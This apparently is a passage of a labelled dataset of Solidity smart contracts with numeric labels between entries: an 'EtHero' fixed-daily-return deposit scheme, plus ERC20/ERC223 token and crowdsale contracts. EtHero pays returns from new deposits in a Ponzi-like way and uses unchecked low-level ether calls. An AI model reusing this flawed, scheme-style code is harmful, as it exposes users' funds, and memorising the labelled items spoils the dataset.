}
}
contract Ownable {
address public owner;
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, 'Only the owner can call this method');
_;
}
}
contract EtheroStabilizationFund{
address public ethero = 0x0223f73a53a549B8F5a9661aDB4cD9Dd4E25BEDa;
uint public investFund;
uint estGas = 100000;
event MoneyWithdraw(uint balance);
event MoneyAdd(uint holding);
modifier onlyHero() {
require(msg.sender == ethero, 'Only Hero call');
_;
}
function ReturnEthToEthero()public onlyHero returns(bool){
uint balance = address(this).balance;
require(balance > estGas, 'Not enough funds for transaction');
if(ethero.call.value(address(this).balance).gas(estGas)()){
emit MoneyWithdraw(balance);
investFund = address(this).balance;
return true;
}else{
return false;
}
}
function() external payable{
investFund+=msg.value;
emit MoneyAdd(msg.value);
}
}
contract EtHero is Ownable{
using SafeMath for uint;
mapping (address => uint) public balances;
mapping (address => uint) private time;
address public fund1 = 0xf846f84841b3242Ccdeac8c43C9cF73Bd781baA7;
address public fund2 = 0xa7A20b9f36CD88fC2c776C9BB23FcEA34ba80ef7;
address public stabFund;
uint estGas = 100000;
uint standartPersent = 30;
uint minPercent = 5;
uint public minPayment = 5 finney;
uint dividendsTime = 1 days;
event NewInvestor(address indexed investor, uint deposit);
event PayOffDividends(address indexed investor, uint value);
event NewDeposit(address indexed investor, uint value);
event ResiveFromStubFund(uint value);
uint public allDeposits;
uint public allPercents;
uint public allBeneficiaries;
uint public lastPayment;
struct Beneficiaries{
address investorAddress;
uint registerTime;
uint persentWithdraw;
uint ethWithdraw;
uint deposits;
bool real;
}
mapping(address => Beneficiaries) beneficiaries;
function setStubFund(address _address)onlyOwner public{
require(_address>0, 'Incorrect address');
stabFund = _address;
}
function insertBeneficiaries(address _address, uint _persentWithdraw, uint _ethWithdraw, uint _deposits)private{
Beneficiaries storage s_beneficiaries = beneficiaries[_address];
if (!s_beneficiaries.real){
s_beneficiaries.real = true;
s_beneficiaries.investorAddress = _address;
s_beneficiaries.persentWithdraw = _persentWithdraw;
s_beneficiaries.ethWithdraw = _ethWithdraw;
s_beneficiaries.deposits = _deposits;
s_beneficiaries.registerTime = now;
allBeneficiaries+=1;
}else{
s_beneficiaries.persentWithdraw += _persentWithdraw;
s_beneficiaries.ethWithdraw += _ethWithdraw;
}
}
function getBeneficiaries(address _address)public view returns(
address investorAddress,
uint persentWithdraw,
uint ethWithdraw,
uint registerTime
){
Beneficiaries storage s_beneficiaries = beneficiaries[_address];
require(s_beneficiaries.real, '404: Investor Not Found :(');
return(
s_beneficiaries.investorAddress,
s_beneficiaries.persentWithdraw,
s_beneficiaries.ethWithdraw,
s_beneficiaries.registerTime
);
}
modifier isIssetRecepient(){
require(balances[msg.sender] > 0, "Deposit not found");
_;
}
modifier timeCheck(){
require(now >= time[msg.sender].add(dividendsTime), "Too fast payout request");
_;
}
function receivePayment()isIssetRecepient timeCheck internal{
uint percent = getPercent();
uint rate = balances[msg.sender].mul(percent).div(1000);
time[msg.sender] = now;
msg.sender.transfer(rate);
allPercents+=rate;
lastPayment =now;
insertBeneficiaries(msg.sender, percent, rate,0);
emit PayOffDividends(msg.sender, rate);
}
function authorizationPayment()public view returns(bool){
if (balances[msg.sender] > 0 && now >= (time[msg.sender].add(dividendsTime))){
return (true);
}else{
return(false);
}
}
function getPercent()internal returns(uint){
uint value = balances[msg.sender].mul(standartPersent).div(1000);
uint min_value = balances[msg.sender].mul(minPercent).div(1000);
if(address(this).balance < min_value){
EtheroStabilizationFund stubF = EtheroStabilizationFund(stabFund);
require(stubF.ReturnEthToEthero(), 'Forgive, the stabilization fund can not cover your deposit, try to withdraw your interest later ');
emit ResiveFromStubFund(25);
}
uint contractBalance = address(this).balance;
require(contractBalance > min_value, 'Out of money, wait a few days, we will attract new investments');
if(contractBalance > (value.mul(standartPersent).div(1000))){
return(30);
}
if(contractBalance > (value.mul(standartPersent.sub(5)).div(1000))){
return(25);
}
if(contractBalance > (value.mul(standartPersent.sub(10)).div(1000))){
return(20);
}
if(contractBalance > (value.mul(standartPersent.sub(15)).div(1000))){
return(15);
}
if(contractBalance > (value.mul(standartPersent.sub(20)).div(1000))){
return(10);
}
if(contractBalance > (value.mul(standartPersent.sub(25)).div(1000))){
return(5);
}
}
function createDeposit() private{
uint value = msg.value;
uint rateFund1 = value.mul(5).div(100);
uint rateFund2 = value.mul(5).div(100);
uint rateStubFund = value.mul(10).div(100);
if(msg.value > 0){
if (balances[msg.sender] == 0){
emit NewInvestor(msg.sender, msg.value);
}
balances[msg.sender] = balances[msg.sender].add(msg.value);
time[msg.sender] = now;
insertBeneficiaries(msg.sender,0,0, msg.value);
fund1.transfer(rateFund1);
fund2.transfer(rateFund2);
stabFund.call.value(rateStubFund).gas(estGas)();
allDeposits+=msg.value;
emit NewDeposit(msg.sender, msg.value);
}else{
receivePayment();
}
}
function() external payable{
require((balances[msg.sender].add(msg.value)) >= balances[msg.sender]);
if(msg.sender!=stabFund){
createDeposit();
}else{
emit ResiveFromStubFund(msg.value);
}
}
} | 0 | 2,048 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "GoldenCompanyToken";
string public constant TOKEN_SYMBOL = "GCT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x22384Ca69F2222230adC626B4f43692910787011;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x22384ca69f2222230adc626b4f43692910787011)];
uint[1] memory amounts = [uint(200000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,178 |
pragma solidity ^0.4.23;
contract JSECoinCrowdsaleConfig {
uint8 public constant TOKEN_DECIMALS = 18;
uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS);
uint256 public constant DURATION = 12 weeks;
uint256 public constant CONTRIBUTION_MIN = 0.1 ether;
uint256 public constant CONTRIBUTION_MAX_NO_WHITELIST = 20 ether;
uint256 public constant CONTRIBUTION_MAX = 10000.0 ether;
uint256 public constant TOKENS_MAX = 10000000000 * (10 ** uint256(TOKEN_DECIMALS));
uint256 public constant TOKENS_SALE = 5000000000 * DECIMALSFACTOR;
uint256 public constant TOKENS_DISTRIBUTED = 5000000000 * DECIMALSFACTOR;
uint256 public constant TOKENS_PER_KETHER = 75000000;
uint256 public constant PURCHASE_DIVIDER = 10**(uint256(18) - TOKEN_DECIMALS + 3);
}
interface ERC223 {
function transfer(address _to, uint _value, bytes _data) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract OperatorManaged is Ownable {
address public operatorAddress;
address public adminAddress;
event AdminAddressChanged(address indexed _newAddress);
event OperatorAddressChanged(address indexed _newAddress);
constructor() public
Ownable()
{
adminAddress = msg.sender;
}
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
modifier onlyAdminOrOperator() {
require(isAdmin(msg.sender) || isOperator(msg.sender));
_;
}
modifier onlyOwnerOrAdmin() {
require(isOwner(msg.sender) || isAdmin(msg.sender));
_;
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isAdmin(address _address) internal view returns (bool) {
return (adminAddress != address(0) && _address == adminAddress);
}
function isOperator(address _address) internal view returns (bool) {
return (operatorAddress != address(0) && _address == operatorAddress);
}
function isOwner(address _address) internal view returns (bool) {
return (owner != address(0) && _address == owner);
}
function isOwnerOrOperator(address _address) internal view returns (bool) {
return (isOwner(_address) || isOperator(_address));
}
function setAdminAddress(address _adminAddress) external onlyOwnerOrAdmin returns (bool) {
require(_adminAddress != owner);
require(_adminAddress != address(this));
require(!isOperator(_adminAddress));
adminAddress = _adminAddress;
emit AdminAddressChanged(_adminAddress);
return true;
}
function setOperatorAddress(address _operatorAddress) external onlyOwnerOrAdmin returns (bool) {
require(_operatorAddress != owner);
require(_operatorAddress != address(this));
require(!isAdmin(_operatorAddress));
operatorAddress = _operatorAddress;
emit OperatorAddressChanged(_operatorAddress);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract JSEToken is ERC223, BurnableToken, Ownable, MintableToken, OperatorManaged {
event Finalized();
string public name = "JSE Token";
string public symbol = "JSE";
uint public decimals = 18;
uint public initialSupply = 10000000000 * (10 ** decimals);
bool public finalized;
constructor() OperatorManaged() public {
totalSupply_ = initialSupply;
balances[msg.sender] = initialSupply;
emit Transfer(0x0, msg.sender, initialSupply);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
checkTransferAllowed(msg.sender, _to);
return super.transferFrom(_from, _to, _value);
}
function checkTransferAllowed(address _sender, address _to) private view {
if (finalized) {
return;
}
require(isOwnerOrOperator(_sender) || _to == owner);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
checkTransferAllowed(msg.sender, _to);
return super.transfer(_to, _value);
}
function transfer(address _to, uint _value, bytes _data) external returns (bool) {
checkTransferAllowed(msg.sender, _to);
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(isContract(_to));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223ReceivingContract erc223Contract = ERC223ReceivingContract(_to);
erc223Contract.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
function isContract(address _addr) private view returns (bool) {
uint codeSize;
assembly {
codeSize := extcodesize(_addr)
}
return codeSize > 0;
}
function finalize() external onlyAdmin returns (bool success) {
require(!finalized);
finalized = true;
emit Finalized();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract JSETokenSale is OperatorManaged, Pausable, JSECoinCrowdsaleConfig {
using SafeMath for uint256;
bool public finalized;
bool public publicSaleStarted;
uint256 public tokensPerKEther;
uint256 public bonusIncreasePercentage = 10;
address public wallet;
JSEToken public tokenContract;
uint256 public totalTokensSold;
uint256 public totalPresaleBase;
uint256 public totalPresaleBonus;
mapping(address => bool) public whitelist;
uint256 public weiRaised;
event Initialized();
event PresaleAdded(address indexed _account, uint256 _baseTokens, uint256 _bonusTokens);
event WhitelistUpdated(address indexed _account);
event TokensPurchased(address indexed _beneficiary, uint256 _cost, uint256 _tokens, uint256 _totalSold);
event TokensPerKEtherUpdated(uint256 _amount);
event WalletChanged(address _newWallet);
event TokensReclaimed(uint256 _amount);
event UnsoldTokensBurnt(uint256 _amount);
event BonusIncreasePercentageChanged(uint256 _oldPercentage, uint256 _newPercentage);
event Finalized();
constructor(JSEToken _tokenContract, address _wallet) public
OperatorManaged()
{
require(address(_tokenContract) != address(0));
require(_wallet != address(0));
require(TOKENS_PER_KETHER > 0);
wallet = _wallet;
finalized = false;
publicSaleStarted = false;
tokensPerKEther = TOKENS_PER_KETHER;
tokenContract = _tokenContract;
}
function initialize() external onlyOwner returns (bool) {
require(totalTokensSold == 0);
require(totalPresaleBase == 0);
require(totalPresaleBonus == 0);
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(ownBalance == TOKENS_SALE);
emit Initialized();
return true;
}
function changeWallet(address _wallet) external onlyAdmin returns (bool) {
require(_wallet != address(0));
require(_wallet != address(this));
require(_wallet != address(tokenContract));
wallet = _wallet;
emit WalletChanged(wallet);
return true;
}
function currentTime() public view returns (uint256 _currentTime) {
return now;
}
modifier onlyBeforeSale() {
require(hasSaleEnded() == false && publicSaleStarted == false);
_;
}
modifier onlyDuringSale() {
require(hasSaleEnded() == false && publicSaleStarted == true);
_;
}
modifier onlyAfterSale() {
require(finalized);
_;
}
function hasSaleEnded() private view returns (bool) {
if (finalized) {
return true;
} else {
return false;
}
}
function updateWhitelist(address _account) external onlyAdminOrOperator returns (bool) {
require(_account != address(0));
require(!hasSaleEnded());
whitelist[_account] = true;
emit WhitelistUpdated(_account);
return true;
}
function setTokensPerKEther(uint256 _tokensPerKEther) external onlyAdmin onlyBeforeSale returns (bool) {
require(_tokensPerKEther > 0);
tokensPerKEther = _tokensPerKEther;
emit TokensPerKEtherUpdated(_tokensPerKEther);
return true;
}
function () external payable whenNotPaused onlyDuringSale {
buyTokens();
}
function buyTokens() public payable whenNotPaused onlyDuringSale returns (bool) {
require(msg.value >= CONTRIBUTION_MIN);
require(msg.value <= CONTRIBUTION_MAX);
require(totalTokensSold < TOKENS_SALE);
bool whitelisted = whitelist[msg.sender];
if(msg.value >= CONTRIBUTION_MAX_NO_WHITELIST){
require(whitelisted);
}
uint256 tokensMax = TOKENS_SALE.sub(totalTokensSold);
require(tokensMax > 0);
uint256 actualAmount = msg.value.mul(tokensPerKEther).div(PURCHASE_DIVIDER);
uint256 bonusAmount = actualAmount.mul(bonusIncreasePercentage).div(100);
uint256 tokensBought = actualAmount.add(bonusAmount);
require(tokensBought > 0);
uint256 cost = msg.value;
uint256 refund = 0;
if (tokensBought > tokensMax) {
tokensBought = tokensMax;
cost = tokensBought.mul(PURCHASE_DIVIDER).div(tokensPerKEther);
refund = msg.value.sub(cost);
}
totalTokensSold = totalTokensSold.add(tokensBought);
require(tokenContract.transfer(msg.sender, tokensBought));
if (refund > 0) {
msg.sender.transfer(refund);
}
weiRaised = weiRaised.add(msg.value.sub(refund));
wallet.transfer(msg.value.sub(refund));
emit TokensPurchased(msg.sender, cost, tokensBought, totalTokensSold);
if (totalTokensSold == TOKENS_SALE) {
finalizeInternal();
}
return true;
}
function reclaimTokens(uint256 _amount) external onlyAfterSale onlyAdmin returns (bool) {
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(_amount <= ownBalance);
address tokenOwner = tokenContract.owner();
require(tokenOwner != address(0));
require(tokenContract.transfer(tokenOwner, _amount));
emit TokensReclaimed(_amount);
return true;
}
function changeBonusIncreasePercentage(uint256 _newPercentage) external onlyDuringSale onlyAdmin returns (bool) {
uint oldPercentage = bonusIncreasePercentage;
bonusIncreasePercentage = _newPercentage;
emit BonusIncreasePercentageChanged(oldPercentage, _newPercentage);
return true;
}
function finalize() external onlyAdmin returns (bool) {
return finalizeInternal();
}
function startPublicSale() external onlyAdmin onlyBeforeSale returns (bool) {
publicSaleStarted = true;
return true;
}
function finalizeInternal() private returns (bool) {
require(!finalized);
finalized = true;
emit Finalized();
return true;
}
} | 1 | 4,809 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
